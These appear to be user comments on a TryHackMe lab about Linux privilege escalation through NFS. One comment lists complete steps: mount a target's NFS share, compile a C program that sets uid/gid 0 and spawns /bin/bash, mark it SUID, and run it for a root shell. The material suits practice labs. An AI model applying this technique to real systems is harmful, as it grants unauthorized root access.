TRYHACKME Linux PrivEsc Task 11 Privilege Escalation: NFS

[brettgastelum]

glibc_2.34 not found, I guess I'm too updated?

[intothecodewithdanny]

cat /etc/exports

mkdir /tmp/beach

nano nfs.c

int main()
{ setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

sudo mount -o rw 10.10.204.100:/tmp /tmp/beach

sudo gcc nfs.c -o nfs -w

sudo chmod +s nfs

ls -l nfs

./nfs